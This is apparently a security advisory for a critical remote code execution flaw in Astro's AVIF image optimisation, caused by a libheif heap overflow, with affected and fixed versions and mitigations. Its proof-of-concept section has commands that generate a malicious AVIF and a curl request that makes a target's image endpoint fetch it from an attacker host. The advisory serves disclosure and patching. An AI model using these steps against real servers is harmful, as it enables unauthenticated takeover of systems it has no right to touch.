critical · 9.8Sep 8, 2026

Astro: Remote Code Execution via Malicious AVIF Image Optimization

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Astro's built-in image optimizer passes AVIF files to Sharp, which uses a vulnerable libheif version that can be exploited to execute arbitrary code on the server by sending a specially crafted AVIF…

Packageastro
Ecosystemnpm
Affected< 7.2.8
Fixed in7.2.8
Astro: Remote Code Execution via Malicious AVIF Image Optimization

The problem

Astro's default Sharp image service decodes AVIF files using libheif. All libheif versions through v1.23.1 contain a heap buffer overflow in its image scaling code.

Any attacker who can make an Astro server process an untrusted AVIF, whether via a remote image URL, a user upload, or a CMS that accepts AVIF content, can trigger the overflow and achieve unauthenticated remote code execution.

Proof of concept

A working proof-of-concept for this issue in astro, with the exact payload below.

bash
# 1. Generate the malicious AVIF/HEIC using the public libheif PoC (gen_poc.py from GHSA-g89c-p67h-r497).
# Requires: Python 3, ffmpeg with libx265
python3 gen_poc.py -o malicious.avif

# 2. Deliver it to Astro's image optimization endpoint.
# Astro fetches and decodes the image, triggering the libheif heap overflow.
curl 'https://target.example.com/_image?href=https://attacker.example.com/malicious.avif&w=800&f=avif'

The libheif bug (CVE-2026-84383 / GHSA-g89c-p67h-r497) lives in HeifPixelImage::scale_nearest_neighbor(). A crafted AVIF file uses nested iden (identity-derivation) and auxl (auxiliary) item references to attach two Alpha planes at different bit depths to the same image.

The scaler allocates a destination buffer sized for the first, 8-bit Alpha plane, then writes 16-bit sample values from the second plane into it, overflowing roughly 16,384 bytes beyond the allocation. Both the written bytes and the overflow length are attacker-controlled via the ISOBMFF container.

Researchers confirmed RCE on multiple real applications using the public gen_poc.py script.

The Astro patch (commit ecb4082) raises the minimum required Sharp version to 0.35.4, which bundles libheif v1.23.2 where plane sizes are validated before any scaling operation.

The fix

Upgrade to astro 7.2.8 or later, which enforces a minimum Sharp version of 0.35.4. Sharp 0.35.4 bundles libheif v1.23.2, which validates plane sizes before scaling. If you cannot upgrade immediately, block AVIF inputs at your CDN or reverse proxy, or remove image/avif from your Astro image format configuration.

Reported by Harsh Jaiswal (@rootxharsh), coordinated by Karim Rahal (@KarimPwnz).

References: [1][2][3][4][5]

Related research